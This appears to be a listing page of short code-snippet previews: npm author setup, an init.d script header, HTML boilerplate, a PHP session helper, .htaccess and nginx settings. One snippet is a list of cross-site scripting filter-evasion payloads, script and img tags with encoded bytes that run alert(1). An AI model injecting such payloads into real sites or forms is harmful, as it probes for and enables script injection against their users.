If you haven't already set your NPM author info, now you should:
npm set init.author.name "Your Name"
npm set init.author.email "you@example.com"
npm set init.author.url "http://yourblog.com"
npm adduser
| #! /bin/sh | |
| # Installation | |
| # - Move this to /etc/init.d/myservice | |
| # - chmod +x this | |
| # | |
| # Starting and stopping | |
| # - Start: `service myservice start` or `/etc/init.d/myservice start` | |
| # - Stop: `service myservice stop` or `/etc/init.d/myservice stop` |
| <!doctype html> | |
| <html> | |
| <head> | |
| <meta charset="utf-8"> | |
| <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"> | |
| <meta http-equiv="X-UA-Compatible" content="IE=edge"> | |
| <title>Particles</title> | |
| <style>body { background-color: #1a252f }</style> | |
| </head> | |
| <body> |
| <script\x20type="text/javascript">javascript:alert(1);</script> | |
| <script\x3Etype="text/javascript">javascript:alert(1);</script> | |
| <script\x0Dtype="text/javascript">javascript:alert(1);</script> | |
| <script\x09type="text/javascript">javascript:alert(1);</script> | |
| <script\x0Ctype="text/javascript">javascript:alert(1);</script> | |
| <script\x2Ftype="text/javascript">javascript:alert(1);</script> | |
| <script\x0Atype="text/javascript">javascript:alert(1);</script> | |
| '`"><\x3Cscript>javascript:alert(1)</script> | |
| '`"><\x00script>javascript:alert(1)</script> | |
| <img src=1 href=1 onerror="javascript:alert(1)"></img> |
| <?php | |
| function session_readonly(){ | |
| if(version_compare(PHP_VERSION, '7.0.0') >= 0){ | |
| session_start(array('read_and_close' => true)); | |
| } else { | |
| $session_name = preg_replace('/[^\da-z]/i', '', $_COOKIE[session_name()]); | |
| $session_data = file_get_contents(session_save_path() . '/sess_' . $session_name); | |
| $return_data = array(); | |
| $offset = 0; |
| ##================================================ | |
| # Prevent directory listing. | |
| ##================================================ | |
| IndexIgnore * | |
| ##================================================ | |
| # Set Charset. | |
| ##================================================ | |
| AddDefaultCharset utf-8 |
| user web; | |
| # One worker process per CPU core. | |
| worker_processes 8; | |
| # Also set | |
| # /etc/security/limits.conf | |
| # web soft nofile 65535 | |
| # web hard nofile 65535 | |
| # /etc/default/nginx |